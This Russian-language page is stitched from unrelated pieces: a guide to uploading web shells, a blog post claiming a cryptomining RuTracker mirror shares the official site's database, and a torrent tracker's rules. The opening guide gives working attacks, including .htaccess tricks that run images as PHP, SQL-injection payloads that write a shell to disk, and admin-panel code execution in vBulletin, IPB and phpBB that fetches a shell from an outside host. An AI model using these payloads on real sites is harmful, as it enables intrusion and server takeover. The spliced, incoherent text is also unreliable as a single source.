Людская profile php mode. Способы заливки шелла

Привет %username% и его друзья. Ну вот нужно срочно залить шелл на сайт, ну мало ли, может конечный гонорар от этого зависит. Ну а никак не получается. Вот собрал пару примеров (спасибо tracy и другим за это).

Льем шелл через картинку

Вы взломали сайт (разумеется только тестируете) с самописной админкой… И не можете залит веб-шелл, но там присутствует заливка картинок и загружает только форматы.jpg, .gif, .png.
Что в этом случаем можно сделать?

Пихаем шелл с расширением.gif в какую нибудь папку с картинками, и создаем файл.htaccess с содержимым

AddType application/x-httpd-php .gif
Данная команда выполнит формат.gif как php
Пробуем открыть /shell.gif

Так же, если скрипт не равнодушен к переносу строки, пробуем залить шелл попутно переименовав его в shell.php%00.jpg , проверять доступность shell.php, а вдруг?

Способ заливки шелла через mysql.user из скули

1)Узнаем из под кого мы сидим и узнаем так же его права к mysql.

site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+
(Узнаем под кем мы сидим)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user="наш юзер "+--+
(Проверим привилегии нашего юзера. Если выдаёт ошибку при выводе, можно похексить нашего юзера 0x)
3) site.com/index.php?id=-1+union+select+1,"",3+from+mysql.user+into+outfile+"Путь до файла "+--+
(Заливаем мини-шелл)
P.S
Что бы всё получилось нужно имееть права на запись и знать полный путь до корня.
Так же проверить права на запись можно так:

site.com/index.php?id=1+and+1=0+union+Select+1,"prava ",3+from+mysql.user+--+
Если prava отобразится, то права есть.

Следующая ситуация. Мы в админке форумного движка vBulletin

Заходим:
Plugins & Products -> Plugin Manager -> Плагины & Продукты -> Менеджер плагинов -> [Добавить новый плагин]

Выбираем темптлей. Обычно выбирают faq_complete, выбираем и жмем галочку Plugin is Active выставляем «Yes» и сохраняем.

localhost/forum/faq.php?cmd=phpinfo();

Если мы вывели phpinfo() то считайте шелл у нас в руках.

Далее в phpinfo нужно найти полный путь до форума (например /home/u0000/site.ru/www/sell.php) . Далее нам нужно наш веб-шелл превратить в txt файл и залить на любой сайт
mysite.com/shell.txt
Шелл заливаем командой

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что делает эта команда? Она копирует содержимое переменной [a] в переменную [b], то есть shell.txt копирует в shell.php

Заливаем шелл в IPB 3

Заходим:
Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

Код:
select 0x3c3f706870696e666f28293b3f3e into outfile "Z:/home/site.ru/www/uploads/shell.php"
Полный путь можно посмотреть так:

Админка->Поддержка
Там будет сверху написана версия PHP и слева ссылка на PHPINFO

Шелл тут:
http://site.com/uploads/shell.php

Заливаем шелл в phpBB 2

1. Создаём файл ex.sql
2. Прописываем туда

UPDATE phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(stripslashes($_GET[e]));" WHERE user_id=2;
Где user_id=2 — идентификатор администратора

3. Заходим в админ-панель
4. В админ-панеле выбираем пункт «Восстановить БД» и загружаем ex.sql
5. Выполняем код / Заливаем шелл так

Заходим:
http://target/profile.php?mode=editprofile&e=phpinfo();
После:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что бы вывести phpinfo() нужно быть авторизованным.

Это только коротенький список, как и на какие движки можно залить шелл. Нужно больше? Welcome к ребятам на rdot
заливка на форумы
заливка на cms
А вот и мой любимый шелл, тоже на rdot))

Я писал о том, что при попытке залогиниться на одном из зеркал RuTracker, выдается сообщение о том, что это возможно лишь с тем условием, если вы разрешите сайту выполнять вычисления на вашем компьютере, другими словами - майнить криптовалюту.

После этого, мне в комментарии посыпались гневные сообщения о том, что я на самом деле дурак, а описываемые мною зеркала не принадлежат рутрекеру и никоим образом они не связаны с самим рутрекером. Я не сильно придавал этому значения и в комментариях к той заметке задал вопрос, а как же быть с тем, что зеркало rutracker-org.appspot.com повторяет не только дизайн официального сайта рутрекера rutracker.org , но и полностью повторяет его содержимое. Однако в ответ на это я услышал что, цитирую: "Дурак ты Волох и ничего не понимаешь ".

Как и подобает здравомыслящему человеку - он начинает задумываться над следующим: если мне говорят что я дурак, то может быть так оно и есть? Я тоже так подумал, оказалось что нет - в этой ситуации я не дурак. Но обо всем по порядку.

После того, как в комментариях админы RuTracker начали говорить о том, что:

Других зеркал и "дочерних проектов" у нас нет! Все остальные "клоны" рутрекера, дублирующие нашу структуру и дизайн, к нам никакого отношения не имеют, их использование может привести к краже паролей, задействованию вашего компьютера для майнинга криптовалют и иным неприятностям! Мэйнтрекер - это также фейк!!

Я стал задумываться, может быть действительно я погорячился и зря наговариваю на ребят из RuTracker. Ладно, я решил сравнить комментарии с официального сайта RuTracker - rutracker.org и комментарии с зеркала рутрекера rutracker-org.appspot.com , который запрашивал разрешение на генерацию криптовалюты. Оказалось, что комментарии полностью идентичные. Но мне же никто не поверит - решил я, и хотел сделать скриншоты. Но и эта затея показалась глупой, т.к. комментарии легко удаляются и редактируются.

Самой лучшей идеей стала запись видео. Смотрим, а потом я прокомментрирую что тут происходит:

Посмотрели? Сразу скажу, что видео выставляю "как оно есть", то есть без монтажа. Поэтому оно без каких-либо комментариев или озвучки. Итак, давайте разберемся что тут происходит.

Для начала я создал почтовый ящик, чтобы зарегаться на сайте rutracker-org.appspot.com . Да, именно на том сайте, который майнит криптовалюту. Почему именно на нем, а не на официальном сайте rutracker.org ? Дело в том, что передо мной стояла задача показать то, что у сайтов rutracker-org.appspot.com и rutracker.org одна база данных, то есть эти сайты между собой взаимосвязаны вопреки заявлениям админов рутрекера.

После того, как я завел почту, я открыл браузер Tor и загрузил три вкладки:

1. Официальный сайт rutracker.org ;

2. Зеркало RuTracker rutracker-org.appspot.com ;

3. Вкладку с открытым почтовым ящиком.

После этого, на зеркале RuTracker rutracker-org.appspot.com я произвел регистрацию (Time 00:25) и в мой почтовый ящик пришло письмо с активацией учетной записи (Time 00:57). И вот здесь уже начинается интересные танцы, точнее жуткие пляски с подгоранием пятой точки админов сайта: в коде активации указана ссылка на официальный сайт трекера (Time 1:00):

https://rutracker.org/forum/profile.php?mode=activate&u=43055955&act_key=nUMiXqWX19EF

Эта ссылка рабочая и она ведет именно на официальной сайт rutracker.org . Перейдя по ссылке, учетная запись, созданная на зеркале rutracker-org.appspot.com успешно активировалась на официальном сайте rutracker.org (Time 1:06). Во чудеса техники и админской чудо-мысли. Кажется у админов сайта начинает что-то дымиться. Да и ладно, я же дурак как они сказали, что с меня взять. Идем дальше.

После успешной активации учетной записи, я отправляюсь на зеркало rutracker-org.appspot.com и произвожу попытку залогиниться на сайте (Time 1:45). После ввода капчи, я успешно захожу под созданной учетной записью на "неофициальном" трекере (Time 2:03). И в этот момент появляется то самое уведомление (Time 2:07):

Я нажимаю на кнопку "Разрешить" (Time 2:08), так как в противном случае я бы не смог залогиниться. После этого, показываю, что личка пуста и я еще не оставлял никаких комментариев (Time 2:20).

Теперь, для того, чтобы показать взаимосвязь зеркала и официального сайта, я выбираю рандомную раздачу на сайте rutracker-org.appspot.com и оставляю комментарий (Time 3:10). После чего, на официальном сайте rutracker.org произвожу попытку залогиниться (Time 3:40) с учетной записью, созданной на зеркале рутрекера. И о чудо - логин и пароль от "неофициального" зеркала подошел к официальному сайту (Time 4:00). Совпадение? Не думаю.

Идем дальше, открываем список сообщений, оставленных на трекере и что мы видим: знакомая раздача в списке тем (Time 4:05). Наверное тоже совпадение и для пущей убедительности открываю оставленный мною комментарий к этой раздаче на непризнаваемом админами зеркале (Time 4:17).

Сравниваем комментарий к раздаче с сайта rutracker-org.appspot.com и rutracker.org (Time 5.54) и еще раз убеждаемся в том, что эти два сайта взаимосвязаны.

А что мне писали админы сайта? Кажется они убеждали меня в том, что официальный сайт и зеркало rutracker-org.appspot.com никак между собой не взаимосвязаны. В комментариях админов трекера четко говорится о том, что все зеркала просто лишь дублируют структуру и дизайн сайта, но не связаны между собой. Однако из увиденного получается, что официальный сайт копирует комментарии с какого-то левого зеркала? Да нет, тоже бред. А где же истина? Истина в том, что у этих двух сайтов одна база данных, а зеркал множество, одни из которых признаются админами трекера, а другие не признаются и используются для генерации криптовалюты.

Получается что все это время, мне в комментариях пытались лить в уши какую-то ахинею и убеждать меня в том, что я якобы зашел совсем на левый сайт, а на деле оказалось что этот сайт также принадлежит RuTracker.

Подозреваю, что сейчас у некоторых людей начнется синдром воспламенения пятой точки и посыпятся угрозы, оскорбления и т.п. А ведь я уже и вправду подумал, что зря наезжаю на ребят и они ни в чем не виноваты. Оказалось все совсем иначе и видео тому доказательство. Как сказал коллега: RuTracker - ты был мне как брат .

Правила и ограничения на трекере.

1. Общие положения и ограничения
1.1. Данные правила трекера не подлежат обсуждению и обязательны к безусловному выполнению всеми, присутствующими на трекере. Только Администраторам трекера разрешено не соблюдать некоторые положения правил в исключительных ситуациях.
1.2. Администрация трекера является единственной и высшей инстанцией, где можно разрешить любые конфликтные ситуации, касающиеся трекера и его пользователей. Таким образом, решения Администраторов окончательные и обжалованию не подлежат.
1.3. Администрация Трекера оставляет за собой право изменять и дополнять все пункты данных правил без предварительного или последующего уведомления. Дополнения и изменения правил вступают в силу с момента их опубликования. Однако в качестве акта доброй воли Администрация будет стараться по возможности доводить такие изменения до сведения пользователей.
1.4. Незнание этих и других Правил Трекера не только не освобождает от ответственности за их нарушение, но и само по себе является нарушением и отягчающим вину обстоятельством.
1.5. Запрещается использовать какие-либо программы для фальсификации данных о Вашем Upload"e и Download"e. Читеры моментально отправляются в бан.
1.7. Запрещено использование неисправностей и ошибок трекера в личных целях. В случае обнаружения неисправностей и ошибок необходимо поставить Администрацию Трекера в известность.
2. Регистрация
Регистрация является неотъемлемой частью присутствия на трекере. Прохождение регистрации автоматически обозначает Ваше согласие с данными Правилами. Если Вы не согласны с данными Правилами, напишите администрации.
2.1. ЗАПРЕЩАЕТСЯ РЕГИСТРАЦИЯ С РАЗЛИЧНЫХ ЗАРУБЕЖНЫХ ПРОКСИ-СЕРВЕРОВ. Нарушителям - моментальный бан!!!
В исключительных случаях допускается только после рассмотрения заявки администрацией.
2.2. ЗАПРЕЩАЕТСЯ РЕГИСТРАЦИЯ С ОДНОГО КОМПЬЮТЕРА БОЛЕЕ ДВУХ АККАУНТОВ. При нарушении банятся все имеющиеся аккаунты.
Регистрация нового аккаунта, после имеющихся двух, возможна только с согласия администрации.
3. Правила комментирования раздач
3.1. Запрещено использование ненормативной лексики в комментариях к раздачам, любые нецензурные слова и выражения, завуалированный мат, в том числе на иностранных языках.
Наказание: Удаление нарушающих правила комментариев и запрет на написание комментариев сроком на 1 неделю. При последующем нарушении данного правила, бан сроком на 7 дней и запрет на написание комментариев сроком на 14 дней. В дальнейшем - перманентный запрет на написание комментариев.
3.2. Запрещается оскорблять участников трекера в любой форме. Запрещено проявление любой грубости, личных оскорблений и нецензурных высказываний в отношении других участников, нанесения вреда их репутации, унижающих их честь и достоинство, в том числе публичное выяснение личных отношений, как в личных сообщениях на трекере, так и в комментариях к раздачам. Участники должны соблюдать уважительную форму общения.
Наказание: Удаление нарушающих правила комментариев и бан нарушителя сроком на 7 дней. При последующем нарушении данного правила, бан сроком на 7 дней и запрет на написание комментариев сроком на 30 дней. В дальнейшем - перманентный запрет на написание комментариев.
3.3. Запрещены угрозы любого характера (виртуальные, реальные и другие угрозы в адрес участников трекера).
Наказание: Удаление сообщений и бан нарушителя сроком на 14 дней. При повторном нарушении данного правила бан на месяц.
3.4. Запрещены флейм (сообщения не по существу, призванные развязать спор, а также переход на личности обсуждающих), флуд (сообщения, не соответствующие теме, не несущие смысловой нагрузки или состоящие из одних только смайлов), оффтоп (сообщения, не относящиеся к обсуждаемой теме), а также побуждения к флуду, флейму, оффтопу и сообщения типа: "Помогите", "Проблема", "А о чем это вы, а?" или "Так я не понял - откуда качать?" и им подобные, не относящиеся к данной раздаче. В одном комментарии может быть не более 3 смайлов.
Наказание: Удаление нарушающих правила комментариев и предупреждение автора комментария сроком на 3 дня. При повторном нарушении данного правила автору комментария выдается запрет на написание комментариев сроком на 7 дней. В дальнейшем при каждом нарушении выдается запрет на оставление комментариев сроком на 14 дней и запрет на скачивание сроком на 14 дней.
3.5. Запрещено в комментариях размещение сообщений коммерческого характера, прямой или косвенной рекламы, спам-рассылок и ссылок на сайты, непосредственно не связанных с раздачей.
Наказание: Удаление рекламы, запрет на написание комментариев сроком на 7 дней и запрет на скачивание сроком на 7 дней. При повторном нарушении запрет на написание комментариев сроком на 15 дней и запрет на скачивание сроком на 15 дней. В дальнейшем перманентный запрет на написание комментариев.
3.6. Запрещено в комментариях проявлять расовую, национальную и религиозную неприязнь, агитировать политические партии, пропагандировать терроризм, экстремизм, наркотики, религии и прочие темы, несовместимые с общепринятыми законами морали и приличия.
Наказание: Удаление нарушающих правила комментариев, запрет на написание комментариев сроком на 14 дней и запрет на скачивание сроком на 14 дней. При повторном нарушении запрет на написание комментариев сроком на 30 дней и запрет на скачивание сроком на 30 дней. В дальнейшем перманентный запрет на написание комментариев.
3.7. Запрещено оставлять комментарии, явно или скрыто нарушающие УК РФ, а также сообщения, призывающие к совершению противоправных действий.
Наказание: Удаление сообщений, запрет на написание комментариев сроком на 14 дней и запрет на скачивание сроком на 14 дней. При повторном нарушении бан нарушителя сроком на 30 дней. При третьем нарушении - перманентный бан.
3.8. Запрещено в комментариях к раздачам разглашение любых личных данных пользователей, конфиденциальных данных, настоящих Ф.И.О., публикация фотографий, распространение сведений о частной жизни участника обсуждения, составляющих его личную или семейную тайну, без его согласия.
Наказание: Удаление нарушающих правила комментариев и устное предупреждение участника трекера. При повторном нарушении запрет на написание комментариев сроком на 7 дней. В дальнейшем запрет на написание комментариев сроком на 30 дней.
3.9. Запрещено выкладывание в комментариях изображений, содержащих порнографию, сцены жестокости или любые другие изображения, унижающие или оскорбляющие других пользователей.
Наказание: Удаление нарушающих правила комментариев и запрет на скачивание и оставление комментариев сроком на 7 дней. При повторном нарушении бан пользователя сроком на 7 дней. В дальнейшем - бан сроком на 15 дней и перманентный запрет на написание комментариев.
3.10. Запрещено использовать в комментариях язык, отличный от русского, и шрифт, отличный от кириллического.
Наказание: Удаление сообщений и устное предупреждение пользователя, при повторном нарушении правил данного пункта запрет на написание комментариев сроком на 3 дня.
3.11. Запрещено использование в сообщениях следующих способов выделения: красного цвета, более 75% заглавных букв и шрифта большого размера – это привилегия модераторов и администраторов.
Наказание: Удаление сообщений и устное предупреждение пользователя, при повторном нарушении правил данного пункта запрет на написание комментариев сроком на 7 дней.
3.12. Запрещен оверквотинг (цитирование сообщений других участников в количествах, превышающих разумные (более 10 строк оригинального сообщения)).
Наказание: Редактирование сообщения и устное предупреждение пользователя, при повторном нарушении правил данного пункта запрет на написание комментариев сроком на 3 дня.
3.13. Запрещается спойлерить, и воздерживайтесь от использования спойлеров (раскрытие ключевых моментов сюжета, знание которых может испортить другим впечатление от просмотра, результата матча и т.д.).
Если же обойтись без спойлеров нельзя, то нужно обязательно заключить спойлер в тег [еxpand] и ставить перед ним пометку «Спойлер».
Примечание: В "спортивных" раздачах запрещается спойлерить до 11 комментария (1 страница).
Наказание: Редактирование сообщения и устное предупреждение пользователя. При повторном нарушении правил данного пункта запрет на написание комментариев сроком на 3 дня.
3.14. Запрещается публикация сообщений, содержащих заведомо ложнyю информацию.
Наказание: Удаление нарушающих правила комментариев и устное предупреждение пользователя. При повторном нарушении правил данного пункта запрет на оставление комментариев сроком на 7 дней.
Система комментариев торрентов создана для того чтобы:
- Высказать свое уважение и благодарность раздающему,
- Задать интересующий вас конкретный вопрос относительно раздачи,
- Сообщить интересную информацию, относящуюся к раздаче.
4. Ограничения на аватары и подписи:
4.1. Подпись:
- Максимальная высота: 100 точек (другими словами, не больше четырех юзербаров или десяти строк текста (размер шрифта 10); ширина: 750 точек.
- Общий вес изображений, содержащихся в подписи, не должен превышать 200 Kb.
- Содержание: недопустимы насилие, угрозы (на демографической, национальной, религиозной или политической основе), сквернословия (ненормативная лексика, обзывательства, грубость и т.д.), разврат (порнография), дискриминация в любых проявлениях, тексты и изображения рекламного или коммерческого характера, имитация званий/рангов этого ресурса, а также изображения провокационного толка, в т.ч. с использованием нацистской символики.
- Анимация: сильно мигающие подписи запрещены (степень мигания определяется администрацией).
- Подпись под Вашими сообщениями не может быть использована для создания ссылок на какие-либо ресурсы сети. (исключения составляют ссылки на сайты с юзербарами, сервисы наподобие youtube, google и т.п.)
4.2. Aватара:
- Максимальный размер: 100х100 точек; вес: до 21 Кб.
- Содержание: недопустимы насилие, угрозы (на демографической, национальной, религиозной или политической основе), сквернословия (ненормативная лексика, обзывательства, грубость и т.д.), разврат (порнография), дискриминация в любых проявлениях, пропаганда наркотиков, коммерческая реклама и рекламные тексты, имитация званий/рангов этого ресурса, намеренная схожесть с аватарами членов администрации, а также изображения провокационного толка, в т.ч. с использованием нацистской символики.
- Анимация: сильно мигающие аватары запрещены (степень мигания определяется администрацией).
Наказание: Удаление подписи и аватары, или запрет на их использование (определяется администратором).
5. Релизы
5.1. Запрещается перезаливать релизы на другие трекеры без личного разрешения релизера. Поддержка раздачи запрещенного к перезаливу релиза на другом трекере приравнивается к самостоятельному перезаливу и наказывается в соответствие с п.7.
6. Прочее
6.1. Запрещается закачка содержимого раздач с использованием файлообменников типа vip-file, letitbit и прочих...
6.2. Запрещается использование для закачки торрента любых менеджеров закачек.
7. Наказание:
За указанные в пп.5-6 нарушения - бан на 7 дней. При повторном нарушении данных пунктов правил - пожизненный бан.